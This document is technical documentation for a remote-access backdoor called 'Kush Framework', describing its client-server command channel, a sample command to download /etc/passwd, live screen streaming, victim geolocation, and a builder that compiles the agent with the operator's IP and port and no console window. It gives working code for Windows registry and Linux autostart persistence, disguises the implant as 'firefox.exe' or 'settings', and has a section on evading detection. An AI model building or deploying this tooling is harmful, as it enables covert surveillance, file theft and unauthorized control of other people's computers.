technical details

Technical Details

Architecture Overview

Kush Framework follows a client-server architecture:

• Target Machine (Client) Controller (Server) [backdoor.py] ←---→ [listener.py]

• Generated Payload Operator Console (builder.py output)

Communication Protocol

Message Format

The framework uses a custom reliable communication protocol:

Message Structure:

• [16-byte length][JSON data]

Length Header:

• 16-byte fixed length header
• Contains the length of the JSON data as a string
• Padded with spaces for fixed size

JSON Data:

• All messages are JSON encoded
• Supports strings, lists, dictionaries, and binary data (base64)

Example Message Flow

Command Send:

["download", "/etc/passwd"]

Response:

"base64_encoded_file_content"

Error Handling

• Timeout handling for stalled connections

• JSON parsing error recovery

• Connection loss detection and cleanup

Persistence Mechanisms

Windows Persistence

Location:

file_location = os.environ["appdata"] + "\\firefox.exe"

Registry Key:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Value: "update"
Data: "%APPDATA%\firefox.exe"

Implementation:

subprocess.Popen(
    f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v update /t REG_SZ /d "{file_location}" /f', 
    shell=True, 
    stdout=subprocess.DEVNULL, 
    stderr=subprocess.DEVNULL,
    stdin=subprocess.DEVNULL
)

Linux Persistence

Binary Location:

xdg_runtime_dir = os.environ.get('XDG_RUNTIME_DIR', f"/run/user/{os.getuid()}")
destination = os.path.join(xdg_runtime_dir, "settings")

Autostart File:

autostart_dir = os.path.expanduser("~/.config/autostart")
desktop_file = os.path.join(autostart_dir, "settings.desktop")

Desktop File Content:

ini
[Desktop Entry]
Type=Application
Name=settings
Exec=/run/user/1000/settings
Hidden=false
NoDisplay=false
X-GNOME-Autostart-enabled=true

Screen Capture Technology

• Multiple Backend Support
• Primary: MSS (Multi Screen Shot)

Cross-platform screenshot library

• Better performance than PIL

• Direct screen buffer access

• Fallback: PIL (Python Imaging Library)

• Uses ImageGrab on Windows

• Supports multiple platforms

• Slower but more compatible

Streaming Implementation

Frame Processing:

def _stream_screen(self, interval):
    while self.screen_streaming:
        screenshot_data = self.take_screenshot()
        self.reliable_send({
            "type": "screen_frame",
            "data": screenshot_data,
            "frame": frame_count,
            "timestamp": time.time()
        })
        time.sleep(interval)

HTML Viewer:

• Real-time browser-based viewer

• Auto-refresh with meta tags

• FPS counter and status display

GPS Location Service

IP Geolocation

• Service Used: ipinfo.io
• Endpoint: http://ipinfo.io/json

Data Returned:

• IP address

• City, region, country

• Geographic coordinates

• ISP/organization information

Implementation:

response = requests.get('http://ipinfo.io/json', timeout=10)
location_info = {
    'ip': data.get('ip', 'Unknown'),
    'city': data.get('city', 'Unknown'),
    'region': data.get('region', 'Unknown'),
    'country': data.get('country', 'Unknown'),
    'loc': data.get('loc', 'Unknown'),
    'org': data.get('org', 'Unknown')
}

Builder Technology

• Cross-Platform Compilation
• Windows Builds (using Wine):

wine python -m PyInstaller --onefile --noconsole agent_build_tmp.py

Linux Builds:

pyinstaller --onefile --noconsole agent_build_tmp.py

Template Processing

Placeholder Replacement:

def update_agent(ip, port):
    src = Path("backdoor.py").read_text()
    src = src.replace("REPLACE_IP", ip).replace("REPLACE_PORT", port)
    Path("agent_build_tmp.py").write_text(src)

• Security Considerations
• Communication Security
• No built-in encryption yet

Recommend using over VPN or encrypted tunnels IP-based authentication only

Detection Avoidance

• File names mimic legitimate applications

• Registry keys use common names

• No suspicious network patterns in basic mode

Resource Management

Streaming can be CPU intensive

• File transfers memory-efficient (chunked)

• Automatic cleanup on connection loss

Dependencies Deep Dive

Required Dependencies

• colorama: Cross-platform colored terminal text

• Enables consistent colors on Windows/Linux

• Automatic ANSI code translation

• mss: High-performance screenshot capture

Direct screen buffer access

• Multi-monitor support

• requests: HTTP client for GPS functionality

• Simple API for web requests

• Timeout and error handling

• Pillow: Image processing for screenshots

Image format conversion

• Quality adjustment for streaming

Performance Characteristics

• Memory Usage

• Listener: ~10-50MB (depending on activity)

• Agent: ~5-20MB (minimal footprint)

• Streaming: Additional ~10-30MB for image processing

Network Bandwidth

• Commands: Minimal (few KB)

• File transfers: Raw size + encoding overhead

• Streaming: ~100-500KB per frame (JPEG compressed)

CPU Usage

Idle: <1%

• Command execution: Varies with command

• Streaming: 10-30% (depending on interval)